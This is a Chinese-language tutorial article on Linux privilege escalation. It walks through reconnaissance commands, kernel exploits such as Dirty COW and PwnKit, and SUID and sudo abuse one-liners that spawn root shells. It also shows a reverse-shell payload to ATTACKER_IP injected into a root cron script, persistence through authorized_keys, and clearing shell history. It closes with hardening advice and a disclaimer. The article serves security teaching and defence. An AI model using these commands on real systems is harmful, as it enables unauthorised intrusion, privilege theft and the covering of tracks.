温馨提示×

Linux exploit漏洞是如何利用的

小樊
39
2026-01-02 14:13:42
栏目: 网络安全

Linux 漏洞利用与提权实战路径

一、通用利用流程

  • 信息收集:获取系统标识、内核与发行版、当前权限与可用命令、进程与服务、文件系统权限、计划任务等基础面。常用命令包括:uname -acat /etc/*-releaseidsudo -lps auxnetstat -tulnfind / -perm -4000 -type f 2>/dev/null(SUID)、crontab -l 等。
  • 漏洞匹配:基于收集到的版本与配置,在本地或线上检索匹配的漏洞与利用代码,如 searchsploit、Exploit-DB、GitHub 等。
  • 传输与编译:将利用代码传至目标(如 python -m http.server + wget),在目标上用 gcc 编译(必要时加 -pthread 等参数)。
  • 触发与获取权限:运行利用,验证是否获得更高权限(如 id 显示 uid=0whoamiroot)。
  • 后渗透与清理:按需建立持久化(如 SSH authorized_keys)、最小化痕迹(如清理 ~/.bash_history),避免影响业务与取证。

二、典型利用路径与示例

  • 内核漏洞提权:利用内核缺陷直接提升到 root。步骤为确认内核版本(如 uname -a)、检索匹配漏洞(如 searchsploit linux 3.13.0 ubuntu)、编译执行 EXP。经典案例包括 CVE-2016-5195 Dirty COW(影响内核约 2.6.22–4.8.3)、CVE-2021-4034 PwnKit(polkit 本地提权)、CVE-2022-0847 DirtyPipe
  • SUID/GUID 滥用:当可执行文件设置了 SUID 位时,会以文件所有者权限运行。查找命令:find / -perm -u=s -type f 2>/dev/null。若发现 /usr/bin/find 具 SUID,可执行:find . -exec /bin/sh -p ; -quit 获取 root shell;其他常见可被滥用的程序可参考 GTFOBins
  • 计划任务与服务脚本:检查 /etc/crontab/etc/cron.* 与用户 crontab -l。若 root 定时执行的脚本可写,可注入载荷(如 echo ‘bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1’ >> /opt/scripts/backup.sh),等待任务触发即可反弹 root shell。
  • Sudo 配置滥用:执行 sudo -l 查看可免密执行的命令。常见场景如:sudo vim -c ‘:!/bin/sh’sudo python -c ‘import os; os.system(“/bin/sh”)’sudo find / -exec bash -p ;,直接获得 root。
  • 本地服务与软件漏洞:关注以 root 运行或暴露在内网的服务、旧版本组件与插件(如 CMS、数据库、开发工具链),结合版本信息进行针对性利用或弱口令爆破。

三、本地代码执行类漏洞利用要点

  • 栈/堆缓冲区溢出:向程序输入超长数据覆盖返回地址或控制流数据,劫持执行到注入的 shellcode。在实验环境中,可通过关闭保护(如 gcc -fno-stack-protector -z execstack)观察崩溃与验证思路;实战环境通常受 ASLR、NX、Stack Protector 等缓解影响,需要绕过或利用信息泄露。
  • 格式化字符串漏洞:利用 printf(argv[1]) 等不安全用法,通过 %n 等格式化符实现任意写,进而篡改函数指针/返回地址获取代码执行。
  • 利用链构造:结合ROP/JOP 等技术在开启 NX 时跳转至 gadget 链;通过信息泄露获取 libc 基址以解析 system“/bin/sh” 等符号;必要时利用堆风水UAF等堆漏洞形态。

四、防护与检测建议

  • 及时更新与补丁管理:保持内核与关键组件为最新,必要时采用内核热补丁减少重启窗口;对线上业务建立变更与回滚预案。
  • 最小权限与配置审计:定期审计并清理不必要的 SUID/SGID 位(如 chmod u-s /path/to/binary);严格审查 sudoers 条目,仅授予必要命令与必要用户。
  • 强化运行时防护:启用并合理配置 SELinux/AppArmor 等强制访问控制;确保 ASLR、PIE、Stack Protector、NX 等内核/编译器防护处于开启状态。
  • 任务与服务安全:对 /etc/crontab/etc/cron.* 下的脚本与目录设置最小权限,避免由 root 执行的脚本可被低权限用户改写;隔离与监控特权服务。
  • 监测与响应:集中采集与分析 auth.log、syslog 与命令历史(如 ~/.bash_history),对异常 sudo 使用、SUID 变更、可疑编译与网络连接建立告警。

合规与免责声明

  • 本内容仅用于授权的安全测试、教学与研究,请勿用于任何未授权的入侵、破坏或违法行为。对生产系统进行操作前务必取得明确书面授权,并自行评估风险与合规性。

0